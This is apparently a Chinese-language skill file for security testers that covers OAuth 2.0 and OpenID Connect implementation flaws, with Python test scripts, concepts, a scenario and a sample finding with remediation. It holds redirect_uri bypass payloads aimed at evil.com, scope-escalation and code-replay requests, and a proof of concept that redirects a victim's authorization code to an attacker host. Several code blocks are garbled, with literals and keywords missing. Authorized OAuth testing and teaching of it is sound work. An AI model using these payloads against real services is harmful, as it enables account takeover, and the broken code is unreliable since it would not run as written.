| name | testing-oauth2-implementation-flaws |
| description | 测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。
|
| domain | cybersecurity |
| subdomain | api-security |
| tags | ["api-security","oauth2","oidc","authentication","redirect-uri","token-security"] |
| version | 1.0.0 |
| author | mahipal |
| license | Apache-2.0 |
测试 OAuth2 实现缺陷
适用场景
- 评估 OAuth 2.0 授权码流程中重定向 URI 校验的薄弱环节
- 测试 OAuth 客户端应用的 CSRF 防护(state 参数使用)及 PKCE 强制执行
- 评估 OAuth 实现中的令牌存储、传输和生命周期管理
- 测试客户端请求超出授权范围的权限(scope)提升
- 评估 OpenID Connect 实现中的 ID 令牌校验和 nonce 使用
不适用于未经书面授权的情况。OAuth 测试可能导致令牌窃取或未授权访问。
前置条件
- 书面授权,明确在测试范围内的 OAuth 提供商和客户端应用
- 在授权服务器注册的测试 OAuth 客户端
- Burp Suite Professional,用于拦截 OAuth 重定向和令牌流
- Python 3.10+,安装
requests 和 oauthlib 库
- 浏览器开发者工具,用于观察 OAuth 重定向链
- 了解所使用的 OAuth 2.0 授权类型(authorization code、implicit、client credentials)
工作流程
步骤 1:OAuth 流程信息收集
import requests
import urllib.parse
import re
import hashlib
import base64
import secrets
AUTH_SERVER = "https://auth.example.com"
CLIENT_ID = "test-client-id"
REDIRECT_URI = "https://app.example.com/callback"
SCOPE = "openid profile email"
well_known = requests.get(f"{AUTH_SERVER}/.well-known/openid-configuration")
if well_known.status_code == 200:
config = well_known.json()
print("OAuth/OIDC 配置:")
print(f" 授权端点: {config.get('authorization_endpoint')}")
print(f" 令牌端点: {config.get('token_endpoint')}")
print(f" 用户信息端点: {config.get('userinfo_endpoint')}")
print(f" JWKS: {config.get('jwks_uri')}")
print(f" 支持的授权类型: {config.get('grant_types_supported')}")
print(f" 支持的 scope: {config.get('scopes_supported')}")
print(f" PKCE 方法: {config.get('code_challenge_methods_supported')}")
auth_endpoint = config['authorization_endpoint']
token_endpoint = config['token_endpoint']
else:
path [, , , ]:
resp = requests.get(, allow_redirects=)
resp.status_code (, ):
()
auth_endpoint =
步骤 2:重定向 URI 校验测试
REDIRECT_BYPASS_PAYLOADS = [
REDIRECT_URI,
"https://evil.com",
"https://app.example.com.evil.com/callback",
"https://app.example.com@evil.com/callback",
f"{REDIRECT_URI}/../../../evil.com",
f"{REDIRECT_URI}?next=https://evil.com",
f"{REDIRECT_URI}#https://evil.com",
f"{REDIRECT_URI}%23evil.com",
"https://app.example.com/callback/../../evil",
"https://APP.EXAMPLE.COM/callback",
"https://app.example.com/Callback",
"https://app.example.com/callback/",
"https://app.example.com/callback?",
"http://app.example.com/callback",
"https://app.example.com:443/callback",
"https://app.example.com:8443/callback",
f"{REDIRECT_URI}/.evil.com",
"https://app.example.com/callbackevil",
,
]
()
redirect REDIRECT_BYPASS_PAYLOADS:
params = {
: ,
: CLIENT_ID,
: redirect,
: SCOPE,
: secrets.token_urlsafe(),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=)
resp.status_code == :
location = resp.headers.get(, )
location redirect location:
status =
redirect != REDIRECT_URI:
()
:
status =
resp.status_code == :
status =
:
status =
redirect == REDIRECT_URI:
()
步骤 3:State 参数(CSRF)测试
params_no_state = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
}
resp = requests.get(auth_endpoint, params=params_no_state, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[CSRF] 授权码在没有 state 参数的情况下被颁发")
state_value = "fixed_state_value_123"
for i in range(3):
params = {**params_no_state, "state": state_value}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
returned_state = urllib.parse.parse_qs(
urllib.parse.urlparse(location).query).get("state", [None])[0]
if returned_state == state_value:
print(f"[信息] 第 {i+1} 次尝试时接受了相同的 state(请检查客户端校验)")
print("\n注意: state 校验是客户端行为,请验证回调处理器在交换授权码前是否校验了 state。")
步骤 4:PKCE 绕过测试
code_verifier = secrets.token_urlsafe(64)[:128]
code_challenge = base64.urlsafe_b64encode(
hashlib.sha256(code_verifier.encode()).digest()
).decode().rstrip('=')
params_no_pkce = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params_no_pkce, allow_redirects=False)
if resp.status_code == 302 and "code=" in resp.headers.get("Location", ""):
print("[PKCE] 未携带 code_challenge 即颁发了授权码")
auth_code = "captured_auth_code"
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
})
if token_resp.status_code == 200:
print("[PKCE] 未携带 code_verifier 即颁发了令牌——PKCE 未被强制执行")
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
: ,
})
token_resp.status_code == :
()
params_plain_pkce = {
**params_no_pkce,
: code_verifier,
: ,
}
resp = requests.get(auth_endpoint, params=params_plain_pkce, allow_redirects=)
resp.status_code == :
()
步骤 5:Scope 提升与令牌测试
elevated_scopes = [
"openid profile email admin",
"openid profile email write:users",
"openid profile email delete:*",
"openid profile email admin:full",
"*",
]
for scope in elevated_scopes:
params = {
"response_type": "code",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": scope,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "code=" in location:
print(f"[SCOPE] 提升的 scope 已被接受: {scope}")
token_a = "access_token_from_client_a"
resp = requests.get("https://other-service.example.com/api/resource",
headers={"Authorization": f"Bearer {token_a}"})
if resp.status_code == 200:
print("[令牌] 客户端 A 的令牌被其他服务接受(未校验 audience)")
refresh_token = "captured_refresh_token"
token_resp = requests.post(token_endpoint, data={
"grant_type": "refresh_token",
"refresh_token": refresh_token,
: ,
})
token_resp.status_code == :
()
步骤 6:隐式流程与令牌泄露测试
implicit_params = {
"response_type": "token",
"client_id": CLIENT_ID,
"redirect_uri": REDIRECT_URI,
"scope": SCOPE,
"state": secrets.token_urlsafe(32),
}
resp = requests.get(auth_endpoint, params=implicit_params, allow_redirects=False)
if resp.status_code == 302:
location = resp.headers.get("Location", "")
if "access_token=" in location:
print("[隐式流程] 隐式流程已启用——令牌出现在 URL 片段中(已废弃/不安全)")
print("\n令牌泄露检查:")
print(" - 检查访问令牌是否出现在 URL 查询参数中")
print(" - 检查令牌是否被记录在服务器访问日志中")
print(" - 检查含授权码的回调 URL 是否被浏览器缓存")
print(" - 检查授权码是否为一次性使用(重放测试)")
auth_code_to_replay = "captured_auth_code"
for attempt in range(3):
token_resp = requests.post(token_endpoint, data={
"grant_type": "authorization_code",
"code": auth_code_to_replay,
"redirect_uri": REDIRECT_URI,
"client_id": CLIENT_ID,
"client_secret": "client_secret_value",
})
print(f" 授权码重放尝试 {attempt+1}: ")
attempt > token_resp.status_code == :
()
核心概念
| 术语 | 定义 |
|---|
| 授权码流程(Authorization Code Flow) | OAuth 2.0 流程,客户端通过重定向接收授权码,再在令牌端点将其交换为令牌 |
| PKCE | Proof Key for Code Exchange(代码交换证明密钥)——通过 code verifier/challenge 将授权请求与令牌请求绑定,防止授权码拦截攻击 |
| 重定向 URI 校验(Redirect URI Validation) | 授权服务器验证 redirect_uri 与注册值完全匹配,防止通过开放重定向窃取授权码/令牌 |
| State 参数 | 在授权请求中传递的随机值,在回调中进行验证,以防止对 OAuth 流程的 CSRF 攻击 |
| Scope 提升(Scope Escalation) | 请求或获取超出客户端授权范围的权限(scope),从而实现未授权访问 |
| 隐式流程(Implicit Flow) | 已废弃的 OAuth 流程,令牌直接出现在 URL 片段中,易遭受令牌泄露和重放攻击 |
工具与系统
- Burp Suite Professional:拦截并操控 OAuth 重定向、授权码和令牌交换
- EsPReSSO(Burp 扩展):自动测试 OAuth 和 OpenID Connect 实现中的已知漏洞
- oauth2-security-tester:专用工具,用于针对常见攻击模式测试 OAuth 2.0 流程
- OWASP ZAP:被动扫描器,检测拦截流量中的 OAuth 错误配置
- jwt.io:在线 JWT 解码工具,用于分析 OAuth 访问令牌和 ID 令牌
常见场景
场景:社会化登录 OAuth 实现评估
场景背景:某 Web 应用使用 OAuth 2.0 授权码流程实现了"使用 Google 登录"和"使用 GitHub 登录"功能。该应用是一个 SaaS 平台,账户接管具有较高业务影响。
方法:
- 分析两个提供商的
/.well-known/openid-configuration OAuth 配置
- 测试重定向 URI 校验:发现应用注册了
https://app.example.com/callback,但服务器接受了 https://app.example.com/callback/..%2fevil
- 测试 state 参数:授权请求包含 state,但回调处理器未对其进行校验(存在 CSRF 风险)
- 测试 PKCE:授权码流程未实现 PKCE,移动端存在授权码拦截风险
- 测试隐式流程:应用未使用,但服务器仍已启用
- 测试 scope:应用请求
openid profile email,但授权服务器在未明确授权的情况下也授予了 read:repos
- 测试授权码重放:授权码可被交换两次,表明缺乏一次性使用强制执行
- 测试令牌 audience:Google 登录获取的访问令牌被 GitHub API 端点接受(未校验 audience)
常见陷阱:
- 仅在浏览器中测试 OAuth 流程,而不拦截和操控重定向参数
- 未单独测试授权请求和令牌交换两个阶段
- 遗漏应用中可与 OAuth redirect_uri 链式组合的开放重定向漏洞
- 未在客户端侧测试 state 参数校验(服务器可能包含 state,但客户端可能未检查)
- 误以为授权服务器支持 PKCE 就等于已强制执行(客户端也必须发送)
输出格式
## 发现:OAuth2 重定向 URI 绕过导致授权码被窃取
**ID**: API-OAUTH-001
**严重程度**: 严重 (CVSS 9.3)
**受影响组件**: OAuth 2.0 授权码流程
**授权服务器**: auth.example.com
**描述**:
授权服务器的 redirect_uri 校验使用前缀匹配而非精确字符串匹配。
攻击者可操控 redirect_uri,将授权码重定向到攻击者控制的端点,
从而实现账户接管。此外,PKCE 未被强制执行,客户端应用也未校验 state 参数。
**概念验证**:
1. 构造含操控 redirect_uri 的授权 URL:
https://auth.example.com/authorize?response_type=code&client_id=app
&redirect_uri=https://app.example.com/callback/../../../evil.com
&scope=openid+profile+email&state=abc123
2. 用户进行身份验证并批准授权
3. 授权码被重定向至 https://evil.com?code=AUTH_CODE&state=abc123
4. 攻击者在令牌端点交换授权码(无需 PKCE)
5. 攻击者获取受害者账户的访问令牌和 ID 令牌
**影响**:
任何点击精心构造的 OAuth 登录链接的用户均可遭受完整账户接管。
攻击者将获得对用户资料、邮箱及 OAuth scope 授权访问的所有资源的完整控制权。
**修复建议**:
1. 对 redirect_uri 实施精确字符串匹配(无通配符,无前缀匹配)
2. 对所有授权码流程请求强制要求 PKCE(S256 方法)
3. 在回调处理器中交换授权码前校验 state 参数
4. 在授权服务器上禁用隐式流程
5. 强制授权码为一次性使用,并设置较短的 TTL(最多 60 秒)
6. 在接受令牌前校验 audience (aud) 声明